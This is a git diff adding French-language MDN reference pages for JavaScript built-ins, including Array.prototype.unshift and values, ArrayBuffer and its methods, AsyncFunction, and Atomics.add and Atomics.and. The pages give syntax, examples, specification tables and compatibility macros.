JavaScript appelle la méthode toString() automatiquement lorsqu'un tableau doit être représenté par une valeur texte ou lorsqu'on fait référence à un tableau dans une concaténation de chaines de caractères.

+ +

Sémantique d'ECMAScript 5

+ +

À partir de JavaScript 1.8.5 (Firefox 4), et en cohérence avec la 5e édition d'ECMAScript, la méthode toString() est générique et peut être utilisé avec n'importe quel objet. {{jsxref("Object.prototype.toString()")}} sera appelée, et la valeur résultante sera renvoyée.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.4.4.2', 'Array.prototype.toString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.toString")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toSource()")}}
    • +
  • {{jsxref("Array.prototype.join()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/unshift/index.html b/files/fr/web/javascript/reference/global_objects/array/unshift/index.html new file mode 100644 index 0000000000..04115c0986 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/unshift/index.html @@ -0,0 +1,122 @@ +--- +title: Array.prototype.unshift() +slug: Web/JavaScript/Reference/Objets_globaux/Array/unshift +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift +--- +
{{JSRef}}
+ +

La méthode unshift() ajoute un ou plusieurs éléments au début d'un tableau et renvoie la nouvelle longueur du tableau.

+ +
{{EmbedInteractiveExample("pages/js/array-unshift.html")}}
+ + + +

Syntaxe

+ +
arr.unshift([élém1[, ...[, élémN]]])
+ +

Paramètres

+ +
+
élémN
+
Les éléments que l'on souhaite ajouter en début de tableau.
+
+ +

Valeur de retour

+ +

La nouvelle valeur de la propriété {{jsxref("Array.length", "length")}} du tableau sur lequel a été appelée la méthode.

+ +

Description

+ +

La méthode unshift() insère les valeurs renseignées au début d'un objet ressemblant à un tableau.

+ +

unshift() est volontairement générique ; cette méthode peut être {{jsxref("Function.call", "appelée","",1)}} ou {{jsxref("Function.apply", "appliquée","",1)}} sur des objets ressemblant à des tableaux. Les objets qui ne contiennent pas une propriété length reflètant la fin d'une série de propriétés indexées numériquement pourront ne pas avoir un comportement cohérent avec cette méthode.

+ +

Attention, lorsqu'on utilise unshift() avec plusieurs arguments, ceux-ci sont insérés au début du tableau dans l'ordre selon lequel ils sont passés en arguments. Aussi, on n'obtiendra pas le même résultat en appelant unshift() n fois avec 1 arguments ou en appelant unshift() avec n arguments.

+ +
let arr = [4, 5, 6];
+
+arr.unshift(1, 2, 3);
+console.table(arr);
+// [1, 2, 3, 4, 5, 6]
+
+let arr2 = [4, 5, 6];
+
+arr2.unshift(1);
+arr2.unshift(2);
+arr2.unshift(3);
+
+console.table(arr2);
+// [3, 2, 1, 4, 5, 6]
+ +

Exemples

+ +
var arr = [1, 2];
+
+arr.unshift(0); // renvoie 3, la nouvelle longueur du tableau
+// arr est [0, 1, 2]
+
+arr.unshift(-2, -1); // = 5
+// arr est [-2, -1, 0, 1, 2]
+
+arr.unshift( [-3] ); // 6
+// arr est [[-3], -2, -1, 0, 1, 2]
+
+arr.unshift([-7, -6], [-5]); // 8
+// arr est [[-7, -6], [-5], [-3], -2, -1, 0, 1, 2]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.13', 'Array.prototype.unshift')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.unshift")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.push()")}}
    • +
  • {{jsxref("Array.prototype.pop()")}}
    • +
  • {{jsxref("Array.prototype.shift()")}}
    • +
  • {{jsxref("Array.prototype.concat()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/values/index.html b/files/fr/web/javascript/reference/global_objects/array/values/index.html new file mode 100644 index 0000000000..26e1c20bf8 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/values/index.html @@ -0,0 +1,100 @@ +--- +title: Array.prototype.values() +slug: Web/JavaScript/Reference/Objets_globaux/Array/values +tags: + - Array + - ECMAScript 2015 + - Iterator + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/values +--- +
{{JSRef}}
+ +

La méthode values() renvoie un nouvel objet Array Iterator qui contient les valeurs pour chaque indice du tableau. Cette méthode est l'implémentation par défaut de Array.prototype[Symbol.Iterator].

+ +

{{EmbedInteractiveExample("pages/js/array-values.html")}}

+ +
var a = ['t', 'i', 't', 'o', 'u'];
+var iterateur = a.values();
+
+console.log(iterateur.next().value); // t
+console.log(iterateur.next().value); // i
+console.log(iterateur.next().value); // t
+console.log(iterateur.next().value); // o
+console.log(iterateur.next().value); // u
+
+ +

Syntaxe

+ +
array.values()
+ +

Valeur de retour

+ +

Un nouvel objet itérateur sur {{jsxref("Array")}}.

+ +

Exemples

+ +

Itérer avec une boucle for...of

+ +
var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr.values();
+// votre navigateur doit supporter les boucles for..of
+// et les variables définies avec let
+for (let lettre of eArr) {
+  console.log(lettre);
+}
+
+ +

Itérer avec next()

+ +
var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr.values();
+console.log(eArr.next().value); // w
+console.log(eArr.next().value); // y
+console.log(eArr.next().value); // k
+console.log(eArr.next().value); // o
+console.log(eArr.next().value); // p
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.values")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.keys()")}}
    • +
  • {{jsxref("Array.prototype.entries()")}}
    • +
  • {{jsxref("Array.prototype.forEach()")}}
    • +
  • {{jsxref("Array.prototype.every()")}}
    • +
  • {{jsxref("Array.prototype.some()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/arraybuffer/@@species/index.html b/files/fr/web/javascript/reference/global_objects/arraybuffer/@@species/index.html new file mode 100644 index 0000000000..edf4cdfdde --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/arraybuffer/@@species/index.html @@ -0,0 +1,74 @@ +--- +title: 'get ArrayBuffer[@@species]' +slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/@@species +tags: + - ArrayBuffer + - JavaScript + - Propriété + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/@@species +--- +
{{JSRef}}
+ +

La propriété d'accesseur ArrayBuffer[@@species] renvoie le constructeur ArrayBuffer.

+ +

Syntaxe

+ +
ArrayBuffer[Symbol.species]
+
+ +

Description

+ +

L'accesseur species renvoie le constructeur par défaut pour les objets ArrayBuffer. Les constructeurs des sous-classes peuvent surcharger ce symbole pour modifier l'affectation du constructeur.

+ +

Exemples

+ +

La propriété species renvoie le constructeur par défaut, soit ArrayBuffer dans le cas des objets ArrayBuffer :

+ +
ArrayBuffer[Symbol.species]; // function ArrayBuffer()
+ +

Pour un objet dérivé (par exemple une classe sur mesure MonArrayBuffer), le symbole species renverra le constructeur MonArrayBuffer. Il est possible de surcharger ce comportement pour renvoyer le constructeur ArrayBuffer :

+ +
class MonArrayBuffer extends ArrayBuffer {
+  // On surcharge species pour renvoyer
+  // le constructeur parent ArrayBuffer
+  static get [Symbol.species]() { return ArrayBuffer; }
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-get-arraybuffer-@@species', 'get ArrayBuffer [ @@species ]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-arraybuffer-@@species', 'get ArrayBuffer [ @@species ]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.ArrayBuffer.@@species")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("ArrayBuffer")}}
    • +
  • {{jsxref("Symbol.species")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/arraybuffer/bytelength/index.html b/files/fr/web/javascript/reference/global_objects/arraybuffer/bytelength/index.html new file mode 100644 index 0000000000..6cf497e790 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/arraybuffer/bytelength/index.html @@ -0,0 +1,71 @@ +--- +title: ArrayBuffer.prototype.byteLength +slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/byteLength +tags: + - ArrayBuffer + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength +--- +
{{JSRef}}
+ +

L'accesseur byteLength est une propriété représentant la longueur d'un {{jsxref("ArrayBuffer")}} en octets.

+ +
{{EmbedInteractiveExample("pages/js/arraybuffer-bytelength.html")}}
+ + + +

Syntaxe

+ +
arraybuffer.byteLength
+ +

Description

+ +

La propriété byteLength est un accesseur dont le mutateur associé vaut undefined. Cela signifie que cette propriété est en lecture seule. La valeur est déterminée lors de la construction du tableau et ne peut pas être changée par la suite. Cette propriété renvoie 0 si ce ArrayBuffer a été détaché.

+ +

Exemples

+ +
var buffer = new ArrayBuffer(8);
+buffer.byteLength; // 8
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.ArrayBuffer.byteLength")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/arraybuffer/index.html b/files/fr/web/javascript/reference/global_objects/arraybuffer/index.html new file mode 100644 index 0000000000..400f1cdf38 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/arraybuffer/index.html @@ -0,0 +1,145 @@ +--- +title: ArrayBuffer +slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer +tags: + - ArrayBuffer + - Constructor + - JavaScript + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer +--- +
{{JSRef}}
+ +

L'objet ArrayBuffer est utilisé afin de représenter un tampon (buffer) de données binaires de longueur fixe de façon générique. C'est un tableau d'octets. La manipulation du contenu d'un ArrayBuffer se fait de façon indirecte en créant un tableau typé ou un objet {{jsxref("DataView")}} qui permet de représenter le tampon dans un format donné qui permet de lire/écrire des contenus dans le tampon de mémoire.

+ +
{{EmbedInteractiveExample("pages/js/arraybuffer-constructor.html")}}
+ + + +

Syntaxe

+ +
new ArrayBuffer(longueur)
+
+ +

Paramètres

+ +
+
longueur
+
La taille, exprimée en octets, du tableau représentant le tampon.
+
+ +

Valeur de retour

+ +

Un nouvel objet ArrayBuffer de la taille donnée. Ses éléments sont initialisés à 0.

+ +

Exceptions

+ +

Une exception {{jsxref("RangeError")}} est levée lorsque l'argument longueur est supérieur à {{jsxref("Number.MAX_SAFE_INTEGER")}} (soit 253) ou s'il est négatif.

+ +

Description

+ +

Le constructeur ArrayBuffer crée une nouvelle instance d'ArrayBuffer dont la longueur est celle donnée lors de la construction.

+ +

Obtenir un tampon mémoire depuis des données existantes

+ + + +

Propriétés

+ +
+
ArrayBuffer.length
+
La longueur du constructeur ArrayBuffer. Elle vaut 1.
+
{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}
+
La fonction de construction utilisée pour créer les objets dérivés.
+
{{jsxref("ArrayBuffer.prototype")}}
+
Cette propriété permet d'ajouter des propriétés à tous les objets ArrayBuffer.
+
+ +

Méthodes

+ +
+
{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}
+
Cette méthode renvoie true si arg est une des vues sur l'ArrayBuffer telle qu'un tableau typé ou un objet {{jsxref("DataView")}}, sinon elle renvoie false.
+
{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(ancienTampon [, nouvelleLongueur])")}} {{experimental_inline}}
+
+
Cette méthode renvoie un nouvel objet ArrayBuffer dont le contenu est transféré depuis les données de ancienTampon et qui est ensuite tronqué ou rallongé avec des zéros pour que la taille du nouveau tampon soit nouvelleLongueur.
+
+
+ +

Les instances d'ArrayBuffer

+ +

Toutes les instances d'ArrayBuffer héritent de {{jsxref("ArrayBuffer.prototype")}}.

+ +

Propriétés

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/prototype','Propri.C3.A9t.C3.A9s')}}

+ +

Méthodes

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/prototype','M.C3.A9thodes')}}

+ +
+
{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}
+
Cette méthode fournit la même fonctionnalité que {{jsxref("ArrayBuffer.prototype.slice()")}}.
+
+ +

Exemple

+ +

Dans cet exemple, on crée un tampon sur 8 octets avec une vue {{jsxref("Int32Array")}} qui fait référence à ce tampon :

+ +
var tampon = new ArrayBuffer(8);
+var vue    = new Int32Array(tampon);
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 6.
{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA. new est obligaoire pour utiliser le constructeur.
{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.ArrayBuffer")}}

+ +

Notes de compatibilité

+ +

À partir d'ECMAScript 2015 (ES6), ArrayBuffer doit être utilisée avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur ArrayBuffer comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

+ +
var dv = ArrayBuffer(10);
+// TypeError: calling a builtin ArrayBuffer constructor
+// without new is forbidden
+ +
var dv = new ArrayBuffer(10);
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/arraybuffer/isview/index.html b/files/fr/web/javascript/reference/global_objects/arraybuffer/isview/index.html new file mode 100644 index 0000000000..990b6b6d62 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/arraybuffer/isview/index.html @@ -0,0 +1,90 @@ +--- +title: ArrayBuffer.isView() +slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/isView +tags: + - ArrayBuffer + - JavaScript + - Méthode + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView +--- +
{{JSRef}}
+ +

La méthode ArrayBuffer.isView() renvoie true si l'argument passé est une des vues ArrayBuffer, comme par exemple un tableau typé ou une {{jsxref("DataView")}} ; false sinon.

+ +
{{EmbedInteractiveExample("pages/js/arraybuffer-isview.html")}}
+ + + +

Syntaxe

+ +
ArrayBuffer.isView(arg)
+ +

Paramètres

+ +
+
arg
+
L'argument dont on souhaite savoir s'il est une vue.
+
+ +

Valeur de retour

+ +

true si la valeur passée en argument est une des vues du tableau ArrayBuffer, false sinon.

+ +

Exemples

+ +
ArrayBuffer.isView();                    // false
+ArrayBuffer.isView([]);                  // false
+ArrayBuffer.isView({});                  // false
+ArrayBuffer.isView(null);                // false
+ArrayBuffer.isView(undefined);           // false
+ArrayBuffer.isView(new ArrayBuffer(10)); // false
+
+ArrayBuffer.isView(new Uint8Array());    // true
+ArrayBuffer.isView(new Float32Array());  // true
+ArrayBuffer.isView(new Int8Array(10).subarray(0, 3)); // true
+
+var buffer = new ArrayBuffer(2);
+var dv = new DataView(buffer);
+ArrayBuffer.isView(dv); // true
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 2015
{{SpecName('ES2015', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}}{{Spec2('ES2015')}}Définition initiale dans un standard ECMA.
{{SpecName('ESDraft', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.ArrayBuffer.isView")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/arraybuffer/slice/index.html b/files/fr/web/javascript/reference/global_objects/arraybuffer/slice/index.html new file mode 100644 index 0000000000..c34eb843d5 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/arraybuffer/slice/index.html @@ -0,0 +1,88 @@ +--- +title: ArrayBuffer.prototype.slice() +slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/slice +tags: + - ArrayBuffer + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice +--- +
{{JSRef}}
+ +

La méthode slice() renvoie un nouvel ArrayBuffer dont le contenu est une copie des octets du ArrayBuffer courant, contenus entre début (compris) et fin (non-compris).

+ +
{{EmbedInteractiveExample("pages/js/arraybuffer-slice.html")}}
+ + + +

Syntaxe

+ +
arraybuffer.slice(début[, fin])
+ +

Paramètres

+ +
+
début
+
Indice (numérotation commençant à zéro) de l'octet à partir duquel découper le tableau.
+
+ +
+
fin
+
Indice de l'octet auquel finir la découpe du tableau. Si ce paramètre n'est pas fourni, le nouvel ArrayBuffer contiendra tous les octets entre début et la fin du ArrayBuffer courant. L'intervalle défini par les valeurs début et fin est réduit à un intervalle valide pour le tableau courant si nécessaire. Si la longueur du nouveau tableau ArrayBuffer sera négative, l'intervalle est réduit à zéro.
+
+ +

Valeur de retour

+ +

Un nouvel objet ArrayBuffer.

+ +

Description

+ +

La méthode slice copie les octets contenus jusqu'au (au sens exclusif) paramètre fin. Si le paramètre début ou  fin est négatif, il fera référence à l'indice à partir de la fin du tableau et non pas à l'indice à partir du début du tableau.

+ +

Exemples

+ +

Copier un ArrayBuffer

+ +
var buf1 = new ArrayBuffer(8);
+var buf2 = buf1.slice(0)
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans EMCAScript 6.
{{SpecName('ES6', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.ArrayBuffer.slice")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/asyncfunction/index.html b/files/fr/web/javascript/reference/global_objects/asyncfunction/index.html new file mode 100644 index 0000000000..831cb4a055 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/asyncfunction/index.html @@ -0,0 +1,121 @@ +--- +title: AsyncFunction +slug: Web/JavaScript/Reference/Objets_globaux/AsyncFunction +tags: + - Constructeur + - Experimental + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction +--- +
{{JSRef}}
+ +

Le constructeur AsyncFunction crée un nouvel objet pour {{jsxref("Instructions/async function", "une fonction asynchrone","",1)}}. En JavaScript, chaque fonction asynchrone est en fait un objet AsyncFunction.

+ +

Attention, AsyncFunction n'est pas un objet global. On peut l'obtenir grâce au code suivant :

+ +
Object.getPrototypeOf(async function(){}).constructor
+
+ +

Syntaxe

+ +
new AsyncFunction ([arg1[, arg2[, ...argN]],] functionBody)
+ +

Paramètres

+ +
+
arg1, arg2, ... argN
+
Les noms des paramètres passés à la fonction. Chacun doit être une chaîne de caractères qui puisse être un identifiant JavaScript valide ou une liste de telles chaînes séparées par une virgule (ex. "x", "laValeur", ou "a,b").
+
functionBody
+
Une chaîne de caractères qui contient les instructions JavaScript définissant la définition de la fonction.
+
+ +

Description

+ +

Les objets des {{jsxref("Instructions/async_function", "fonctions asynchrones","",1)}} créés avec le constructeur AsyncFunction sont analysés lorsque la fonction est créée. C'est moins efficace que de déclarer une fonction asynchrone avec une {{jsxref("Instructions/async_function", "expression de fonction asynchrone")}} et de l'appeler depuis le code car ces fonctions sont analysées avec le reste du code.

+ +

Tous les arguments passés à la fonction sont traités comme les noms des identifiants des paramètres de la fonction qui sera créée, dans l'ordre dans lequel ils sont passés.

+ +
+

Note : Les fonctions asynchrones créées avec le constructeur AsyncFunction ne créent pas de fermetutres dans leurs contextes de création. Elles sont toujours créées dans la portée globale. Lorsqu'on les exécute, ellee ne pourront accéder qu'à leurs variables locales et aux variables globales, pas à celles qui appartiennent à la portée dans laquelle AsyncFunction a été appelé. On aurait donc un comportement différent  si on appelait {{jsxref("Objets_globaux/eval", "eval")}} avec le code de l'expression de la fonction asynchrone.

+
+ +

Si on appelle AsyncFunction comme une fonction (c'est-à-dire sans new), cela aura le même effet que s'il est appelé comme un constructeur.

+ +

Propriétés

+ +
+
AsyncFunction.length
+
La propriété de longueur du constructeur AsyncFunction dont la valeur est 1.
+
{{jsxref("AsyncFunction.prototype")}}
+
Le prototype permet d'ajouter des propriétés à tous les objets représentant les fonctions asynchrones.
+
+ +

Prototype de l'objet AsyncFunction

+ +

Propriétés

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/AsyncFunction/prototype', 'Propriétés')}}
+ +

Instances AsyncFunction

+ +

Les instances d'AsyncFunction héritent des méthodes et des propriétés de {{jsxref("AsyncFunction.prototype")}}. Comme avec les autres constructeurs, on peut changer l'objet prototype du constructeur afin de modifier l'ensemble des instances AsyncFunction.

+ +

Exemples

+ +

Créer une fonction asynchrone avec un constructeur AsyncFunction

+ +
function resolveAfter2Seconds(x) {
+  return new Promise(resolve => {
+    setTimeout(() => {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+var AsyncFunction = Object.getPrototypeOf(async function(){}).constructor
+var a = new AsyncFunction("a",
+                          "b",
+                          "return await resolveAfter2Seconds(a) + await resolveAfter2Seconds(b);");
+a(10, 20).then(v => {
+  console.log(v); // affiche 30 après 4 secondes
+});
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-async-function-objects', 'AsyncFunction object')}}{{Spec2('ESDraft')}}Définition initiale dans ES2017.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.AsyncFunction")}}

+
+ +

Voir aussi

+ +
    +
  • Instruction {{jsxref("Instructions/async_function", "async function")}}
    • +
  • Expression {{jsxref("Opérateurs/async_function","async function")}}
    • +
  • {{jsxref("Objets_globaux/Function", "Function")}}
    • +
  • Instruction {{jsxref("Instructions/function", "function")}}
    • +
  • Expression {{jsxref("Opérateurs/function", "function")}}
    • +
  • {{jsxref("Fonctions", "Fonctions et portées des fonctions", "", 1)}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/atomics/add/index.html b/files/fr/web/javascript/reference/global_objects/atomics/add/index.html new file mode 100644 index 0000000000..2d9bc81ecc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/add/index.html @@ -0,0 +1,84 @@ +--- +title: Atomics.add() +slug: Web/JavaScript/Reference/Objets_globaux/Atomics/add +tags: + - Atomics + - JavaScript + - Mémoire partagée + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add +--- +
{{JSRef}}
+ +

La méthode statique Atomics.add() ajoute une valeur donnée à un élément du tableau à une position donnée. Elle renvoie l'ancienne valeur qui était contenue à cet emplacement. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

+ +
{{EmbedInteractiveExample("pages/js/atomics-add.html")}}
+ + + +

Syntaxe

+ +
Atomics.add(typedArray, index, valeur)
+
+ +

Paramètres

+ +
+
typedArray
+
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
+
index
+
La position du tableau typedArray auquel on souhaite ajouter une valeur.
+
valeur
+
La valeur à ajouter.
+
+ +

Valeur de retour

+ +

L'ancienne valeur qui était contenue à (typedArray[index]).

+ +

Exceptions levées

+ +
    +
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • +
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • +
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • +
+ +

Exemples

+ +
var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+
+Atomics.add(ta, 0, 12); // renvoie 0, l'ancienne valeur
+Atomics.load(ta, 0);    // 12
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.add', 'Atomics.add')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics.add")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Atomics")}}
    • +
  • {{jsxref("Atomics.sub()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/atomics/and/index.html b/files/fr/web/javascript/reference/global_objects/atomics/and/index.html new file mode 100644 index 0000000000..31fb9d4a53 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/atomics/and/index.html @@ -0,0 +1,130 @@ +--- +title: Atomics.and() +slug: Web/JavaScript/Reference/Objets_globaux/Atomics/and +tags: + - Atomics + - JavaScript + - Mémoire partagée + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/and +--- +
{{JSRef}}
+ +

La méthode statique Atomics.and() calcule un ET binaire avec une valeur donnée, à un emplacement donné du tableau. Elle renvoie l'ancienne valeur qui était contenue à cet emplacement. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

+ +
{{EmbedInteractiveExample("pages/js/atomics-and.html")}}
+ + + +

Syntaxe

+ +
Atomics.and(typedArray, index, valeur)
+
+ +

Paramètres

+ +
+
typedArray
+
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
+
index
+
La position dans typedArray où calculer le ET binaire.
+
valeur
+
Le nombre avec lequel on souhaite calculer le ET binaire.
+
+ +

Valeur de retour

+ +

L'ancienne valeur qui était contenue à (typedArray[index]).

+ +

Exceptions levée

+ +
    +
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • +
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • +
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • +
+ +

Description

+ +

Un ET binaire fournit la valeur 1 uniquement si a et b valent 1. La table de vérité pour l'opération ET est :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
aba & b
000
010
100
111
+ +

Ainsi, si on calcule le ET binaire de 5 et 1 avec l'instruction 5 & 1, cela fournira la valeur 0001, qui correspond à 1 en notation décimale.

+ +
5  0101
+1  0001
+   ----
+1  0001
+ +

Exemples

+ +
var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+ta[0] = 5;
+
+Atomics.and(ta, 0, 1); // renvoie 0, l'ancienne valeur
+Atomics.load(ta, 0);   // 1
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.and', 'Atomics.and')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics.and")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Atomics")}}
    • +
  • {{jsxref("Atomics.or()")}}
    • +
  • {{jsxref("Atomics.xor()")}}
    • +
